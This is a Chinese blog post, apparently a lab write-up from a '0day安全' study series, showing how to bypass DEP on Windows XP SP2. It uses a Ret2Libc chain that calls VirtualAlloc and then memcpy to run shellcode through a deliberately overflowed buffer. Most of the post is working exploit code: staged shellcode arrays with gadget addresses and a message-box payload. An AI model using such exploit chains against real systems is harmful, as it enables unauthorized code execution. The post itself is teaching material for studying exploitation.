9.4 RetLibc实战之利用VirtualAlloc

最新推荐文章于 2023-01-04 00:49:40 发布
最新推荐文章于 2023-01-04 00:49:40 发布
阅读量559 收藏 1
点赞数
分类专栏： 0day安全 文章标签： 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_55202378/article/details/127823833
版权

目录

一、实验原理

二、实验环境

三、实验代码

四、实验步骤

1、找到VirtualAlloc函数

2、申请可执行内存空间

3、将shellcode复制到可执行内存空间

4、执行shellcode

一、实验原理

        为了解决DEP对特殊程序的影响，除了VirtualProtect函数，微软还提供了另一个API函数——VirtualAllloc。当程序需要一段可执行内存时，可以通过kernel32.dll中的VirtualAlloc函数来申请一段具有可执行属性的内存。我们可以将Ret2Libc的第一跳设置为VirtualAlloc函数地址，然后将shellcode复制到申请的内存空间，以绕过DEP的限制。
        关于VirtualAlloc函数： 
LPVOID WINAPI VirtualAlloc( 
 __in_opt LPVOID lpAddress,     //申请内存区域的地址
 __in SIZE_T dwSize,            //申请内存区域的大小
 __in DWORD flAllocationType,   //申请内存的类型
 __in DWORD flProtect           //申请内存的访问控制类型
);

        内存申请成功时，函数返回申请内存的起始地址，申请失败时返回NULL。

        VirtualAlloc函数的执行流程：

        关键参数取值如下：

        （1）lpAddress=0x00030000，只要选择一个未被占用的地址即可，没有什么特殊要求；

        （2）dwSize-0xFF，申请空间的大小可以根据shellcode的长度确定；

        （3）flAllocationType=0x00001000，本实验采用该值即可；

        （4）flProtect=0x00000040，内存属性设置为可读可写可执行，该属性对应的代码为0x00000040。

        由此可以看出，本次实验不需要动态设计参数。

二、实验环境

        windows xp sp2、原版OD、DEP状态：Optout、VC++6.0(release)

三、实验代码

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xBA\xD9\xBB\x7C"//修正EBP retn 4
"\xBC\x45\x82\x7C"//申请空间
"\x90\x90\x90\x90"
"\xFF\xFF\xFF\xFF"//-1当前进程
"\x00\x00\x03\x00"//申请空间起始地址
"\xFF\x00\x00\x00"//申请空间大小
"\x00\x10\x00\x00"//申请类型
"\x40\x00\x00\x00"//申请空间访问类型
"\x90\x90\x90\x90"
"\x8A\x17\x84\x7C"//pop eax retn
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x0B\x1A\xBF\x7C"//pop pop retn
"\xBA\xD9\xBB\x7C"//修正EBP retn4
"\x5F\x78\xA6\x7C"//pop retn
"\x00\x00\x03\x00"//可执行内存空间地址，转入执行用
"\x00\x00\x03\x00"//可执行内存空间地址，拷贝用
"\xBF\x7D\xC9\x77"//push esp jmp eax && 原始shellcode起始地址
"\xFF\x00\x00\x00"//shellcode长度
"\xAC\xAF\x94\x7C"//memcpy
"\x00\x00\x03\x00"//一个可以读地址
"\x00\x00\x03\x00"//一个可以读地址
"\x00\x90\x90\x94"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
void test()
{
	char tt[176];
	memcpy(tt,shellcode,450);
}
int main()
{
	HINSTANCE hInst = LoadLibrary("shell32.dll");
	char temp[200];
	__asm int 3
	test();
    return 0;
}

        实验思路及代码简要解释：

        （1）本次实验不采用GS和SafeSEH;

        （2）函数test存在一个典型的溢出，通过向str复制超长字符串造成str溢出，进而覆盖函数返回地址；

        （3）覆盖掉函数返回地址后，通过Ret2Libc技术，利用VirtualAlloc函数申请一段具有执行权限的内存；

        （4）通过memcpy函数将shellcode复制到VirtualAlloc函数申请的可执行内存空间中。

四、实验步骤

1、找到VirtualAlloc函数

        可知，本机VirtualAlloc()函数的地址为0x7C809AE1。直接选择0x7C809AF4（call VirtualAllocEx）作为切入点。

2、申请可执行内存空间

        由于EBP在溢出过程中被破坏，所以第一步依然是修复EBP，我们用PUSH ESP POP EBP RETN 4指令覆盖test函数的返回地址;

        在内存中找一条PUSH ESP POP EBP RETN 4指令，这里选0x5D1D8B85。

        然后按照VirtualAlloc函数的参数布置一个能够申请可执行内存空间的shellcode，shellcode如下所示：

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
...
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x85\x8B\x1D\x5D"//修正EBP retn 4
"\xF4\x9A\x80\x7C"//申请空间
"\x90\x90\x90\x90"
"\xFF\xFF\xFF\xFF"//-1当前进程
"\x00\x00\x03\x00"//申请空间起始地址
"\xFF\x00\x00\x00"//申请空间大小
"\x00\x10\x00\x00"//申请类型
"\x40\x00\x00\x00"//申请空间访问类型
;

        编译并运行OD，运行到即将进入VIrtualAllochan函数的地方，注意参数在栈帧中的位置；

        执行完VirtualAlloc函数；

        可以看到申请可执行内存空间成功。

3、将shellcode复制到可执行内存空间

        确定memcpy()函数在内存中的地址，memcpy函数位于ntdll.dll：

        可知memcpy在0x7C921DB3处。memcpy函数的切入点为0x7C921DB8处。

        memcpy函数需要三个参数，依次为目的内存起始地址、源内存起始地址、复制长度，其中目的内存起始地址和复制长度都可以直接写在shellcode中，唯一需要确定的就是源内存起始地址的确定。

        具体做法：保证源内存起始地址在shellcode中关键代码的前边即可，因此可以使用PUSH ESP JMP EAX来填充这个参数。将ESP中保存的数据放到memcpy函数的源内存地址这一参数的地方，因为此时ESP的指向一定在shellcode之前，所以就可以保证将shellcode复制到可执行区域。

        执行完RETN 10之后，EIP将指向POP EAX RETN，ESP将指向0x0012FEDC处，而0x0012FEDC处就是放一条让EAX指向的特殊指令。暂时不讨论这一指令是什么。

        找一条POP EAX RETN指令：

        这里用0x7DCED974处的POP EAX RETN。    

另外，需要注意：此时EBP已经被覆盖，所以需要二次修复。

        大致构造shellcode：

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x85\x8B\x1D\x5D"//修正EBP retn 4
"\xF4\x9A\x80\x7C"//申请空间
"\x90\x90\x90\x90"
"\xFF\xFF\xFF\xFF"//-1当前进程
"\x00\x00\x03\x00"//申请空间起始地址
"\xFF\x00\x00\x00"//申请空间大小
"\x00\x10\x00\x00"//申请类型
"\x40\x00\x00\x00"//申请空间访问类型
"\x90\x90\x90\x90"
"\x74\xD9\xCE\x7D"//pop eax retn
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"//eax指向先不确定
"\x85\x8B\x1D\x5D"//修正EBP retn 4

        重新编译程序，程序停在修正EBP的位置，查看内存状态：

        注意到：EBP+8、EBP+C、EBP+10保存着memcpy的三个参数。我们现在要改变EBP+C的值，也就是让ESP指向0x0012FEF0，再用PUSH RETN就可修改源内存地址这一参数了。

        可以看到各个参数的入栈顺序，已经对应的入栈指令。

        程序指向retn 4之后，ESP将会指向0x0012FEEC处，所以在Ox0012FEE4处放一个POP RETN指令。这样ESP就可以指向EBP+10处了，再执行push指令，就可以修改源内存地址这一参数了。

        找一个POP RETN指令：

        选择0x7DC2BD78处的POP ECX RETN指令。

        在执行完PUSH操作后，收回控制程序的最佳位置在EBX+0x14，即0x0012FEF8处，在这里执行RETN指令既不会破坏memcpy函数的参数，也可以减少shellcode的长度。

        执行PUSH操作后，ESP指向0x0012FEF0处，只需要POP两次，就可以使得ESP指向EBP+0x14的位置，所以JMP EAX中的EAX应该指向类似POP POP RETN的指令序列。然后再EBP+0x14处放置memcpy函数的切入点0x7C921DB3，这样程序就可以转入memcpy函数中执行复制操作了。

        找一条POP POP RETN指令：

        选择0x7D713C4E处的POP POP RETN指令序列。

        PUSH ESP JMP EAX:

        地址：0x77EBC6C6

        构造shellcode:

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
...
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x85\x8B\x1D\x5D"//修正EBP retn 4
"\xF4\x9A\x80\x7C"//申请空间
"\x90\x90\x90\x90"
"\xFF\xFF\xFF\xFF"//-1当前进程
"\x00\x00\x03\x00"//申请空间起始地址
"\xFF\x00\x00\x00"//申请空间大小
"\x00\x10\x00\x00"//申请类型
"\x40\x00\x00\x00"//申请空间访问类型
"\x90\x90\x90\x90"
"\x74\xD9\xCE\x7D"//pop eax retn
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x4E\x3C\x71\x7D"//eax指向POP POP RETN
"\x85\x8B\x1D\x5D"//修正EBP retn 4
"\x78\xBD\xC2\x7D"//pop retn
"\x90\x90\x90\x90"
"\x00\x00\x03\x00"//可执行内存空间地址，转入执行用
"\xC6\xC6\xEB\x77"//push esp jmp eax && 原始shellcode起始地址
"\xFF\x00\x00\x00"//shellcode长度
"\xB8\x1D\x92\x7C"//memcpy

        可以看到复制操作的源内存起始地址为0x0012FEF4，这个位置也是memcpy函数的复制长度参数所在位置，所以只要在它后边放置对话框的机器码即可。

4、执行shellcode

        构造shellcode:

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x85\x8B\x1D\x5D"//修正EBP retn 4
"\xF4\x9A\x80\x7C"//申请空间
"\x90\x90\x90\x90"
"\xFF\xFF\xFF\xFF"//-1当前进程
"\x00\x00\x03\x00"//申请空间起始地址
"\xFF\x00\x00\x00"//申请空间大小
"\x00\x10\x00\x00"//申请类型
"\x40\x00\x00\x00"//申请空间访问类型
"\x90\x90\x90\x90"
"\x74\xD9\xCE\x7D"//pop eax retn
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x4E\x3C\x71\x7D"//eax指向POP POP RETN
"\x85\x8B\x1D\x5D"//修正EBP retn 4
"\x78\xBD\xC2\x7D"//pop retn
"\x00\x00\x03\x00"//可执行内存空间地址，转入执行用
"\x00\x00\x03\x00"//可执行内存空间地址，memcpy参数
"\xC6\xC6\xEB\x77"//push esp jmp eax && 原始shellcode起始地址
"\xFF\x00\x00\x00"//shellcode长度
"\xB8\x1D\x92\x7C"//memcpy
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"

         编译运行，发现虽然复制操作会把一些额外的代码复制过去，但是不影响弹窗，故没深究，直接弹窗了。

 

 

 
PT_silver
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
VirtualAlloc的使用
编程爱好者的博客
05-23 1万+
在应用程序中使用虚拟内存(VirtualAlloc VirtualFree) 本文转载以下博客，百度百科，cpp文档 https://blog.csdn.net/baidu_25539425/article/details/78764156 https://blog.csdn.net/u012372584/article/details/79621538 https://www.cnblo...
win32api之内存知识梳理(六)
xf555er的博客
03-23 1134
私有内存指的是进程在运行过程中使用的内存空间，只有该进程能够访问和操作这部分内存，其他进程无法直接访问和修改该进程的私有内存空间，这为进程提供了一定的安全性和隔离性。通常使用函数申请的内存属于私有内存共享内存是一种用于实现进程间通信的机制，它允许多个进程访问同一块物理内存，从而达到共享数据的目的。通常使用CreateFileMapping函数申请的内存属于共享内存。
Windows API一日一练(77)VirtualAlloc函数
anjichan4261的博客
11-20 348
上一次学习了全局内存的分配，在Windows里内存管理是分为两部份，全局内存是系统管理的内存，因而所有进程都可以访问的内存，而每一个进程又有自己的内存空间，这就是虚拟内存空间了，而虚拟内存的空间比较大，当物理内存不足时，系统会把虚拟内存的数据保存到硬盘里，这样只要硬盘的空间足够大，每个进程就可以使用3G的内存。虚拟内存分配可以作为程序里分配内存的主要方式，比如大量的数据缓冲区，动态分配内...
VirtualAlloc函数使用总结
热门推荐
04-16 2万+
如果我们的程序需要动态内存的话，则迟早会调用Win32函数VirtualAlloc。但是程序也可以不调用VirtualAlloc，而是直接调用Windows堆函数或者CRT堆函数。不过，知道VirtualAlloc如何工作，可以帮助我们更好地理解这些调用函数。     首先，必须知道保留(Reserved)内存和占用（Committed）内存的含义。当内存放保留时，一段连续虚拟地址空间被留出。例
不同内存分配方式的区别 VirtualAlloc HeapAlloc malloc new
Fire_Lord的专栏
01-14 5285
在进行Windows的学习过程中，经常看到不同的内存分配方式，例如VirtualAlloc, HeapAlloc, malloc和new。它们之间存在一些差异。 (1) VirtualAlloc PVOID VirtualAlloc(PVOID pvAddress, SIZE_T dwSize, DWORD fdwAllocationType, DWORD fdwProtect) V
申请内存区别new malloc HeapAlloc VirtualAlloc
04-23
`new`, `malloc`, `HeapAlloc`, 和 `VirtualAlloc`都是用于在程序中动态分配内存的常见方法，但它们之间存在明显的区别和使用场景。理解这些差异有助于优化程序性能和避免内存泄漏。 首先，`new`是C++中的运算符，...
hook VirtualProtect And VirtualAlloc
01-19
在IT行业中，"hook VirtualProtect And VirtualAlloc"是一个针对系统内存管理的高级技术主题，主要涉及Windows操作系统。VirtualProtect和VirtualAlloc是Windows API中的两个关键函数，它们用于管理和控制进程内存。...
利用c++Builder与Windows API编程.zip
最新发布
06-21
在"利用c++Builder与Windows API编程"的主题中，主要涉及以下几个关键知识点： 1. **C++Builder基础**：C++Builder提供了一套完整的开发工具，包括编译器、调试器、资源编辑器等，支持VCL（Visual Component ...
内存管理之五.docx
12-08
这些函数共同构成了Windows操作系统中复杂的内存管理系统，确保了程序的高效运行和资源的有效利用。通过合理使用这些函数，开发者可以更好地控制和优化程序的内存使用，防止内存泄漏，提升系统稳定性。然而，随着...
进程内存写入实现模块隐藏
07-06
本文将详细探讨如何通过内存写入来实现模块隐藏，以及与之相关的技术，如`VirtualAlloc`、`WriteProcessMemory`和`ReadProcessMemory`。 首先，让我们理解什么是进程内存。每个运行的进程都有自己的虚拟内存空间，...
VirtualAlloc函数
小虎的空间
06-03 1191
VC声明LPVOID VirtualAlloc(  LPVOID lpAddress,        // region to reserve or commit  SIZE_T dwSize,           // size of region  DWORD flAllocationType,  // type of allocation  DWORD flProtect         
使用VirtualAlloc()创建虚拟内存，修改可读、可写属性
dijkstar的专栏
07-12 4070
#include void main(){ SYSTEM_INFO sf; GetSystemInfo(&sf); //分配内存，标记为提交、可读可写 LPVOID lpvBase = VirtualAlloc(        NULL,                 // system selects address        4096,     // size of alloca
VirtualAlloc｜VirtualFree｜VirtualCopy ｜VirtualProtect ｜VirtualQuery - WINDOWS API 第七弹 为进程申请虚拟内存
Bobowen的博客
01-04 2042
我们知道计算机为了更加高效的使用物理内存，设计出了虚拟内存给进程使用，进程需要运行的话只需要将虚拟内存映射到物理内存即可，当然这也属于非常繁琐的计算机科学了，我们一步一步揭开这个api的神秘面纱吧。vitualalloc系列的函数实现了windows进程虚拟内存向物理内存的转换，是比较底层和重要的api。还有一些，这些大家自己去找吧。夜已深，好梦。
使用windows内存-VirtualAlloc
Barry的博客
01-02 1万+
内存管理机制--虚拟内存 (VM) ·        虚拟内存使用场合 虚拟内存最适合用来管理大型对象或数据结构。比如说，电子表格程序，有很多单元格，但是也许大多数的单元格是没有数据的，用不着分配空间。也许，你会想到用动态链表，但是访问又没有数组快。定义二维数组，就会浪费很多空间。 它的优点是同时具有数组的快速和链表的小空间的优点。   ·        分配虚拟内存
VirtualAlloc 分配与访问测试代码（double类型）
hnalvin的专栏
05-21 649
void CMainFrame::Onabc() { UINT nNewSize = (UINT)(2048*2048*200); // 1024.0) * 1024; double * pNewBuffer =(double*)  VirtualAlloc(NULL,nNewSize,MEM_COMMIT,PAGE_READWRITE); if (pNewBuffer) {  //测试虚拟内存。
虚拟内存管理-分配内存空间 VirtualAlloc使用
wansichao的专栏
12-29 1236
// ConsoleApplication9.cpp : 定义控制台应用程序的入口点。 // #include "stdafx.h" #include #include int _tmain(int argc, _TCHAR* argv[]) { LPVOID lpvBase = VirtualAlloc( NULL, // 1024*64*5,
《Windows API巡礼》---VirtualAlloc和VirtualFree
ASCE1885
07-01 3204
<br />进程的虚拟地址空间内存页面存在三种状态，分别是空闲的free、保留的reserved和提交的committed。多数情况下，一页大小是4KB：<br />空闲页面：进程不能访问此类页面，因为此类页面还没有被分配，任何属于这种页面的虚拟内存地址进行访问都将引发访问异常；<br />保留页面：页面被保留以备将来只用，此类页面已经被分配，但是还没有使用，物理地址空间中的内存中不存在其对应的物理内存分页。处理保留状态的内存分页也不能被访问；<br />提交页面：内存已经被分配，并且已经被使用，具有与之对
c++ Thunk代码使用VirtualAlloc
07-15
在 C++ 中，可以使用 `VirtualAlloc` 函数来分配内存，并将其用作 Thunk 函数的代码。下面是一个示例代码，展示了如何使用 `VirtualAlloc` 来创建一个简单的 Thunk 函数： ```cpp #include #include // 定义一个...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值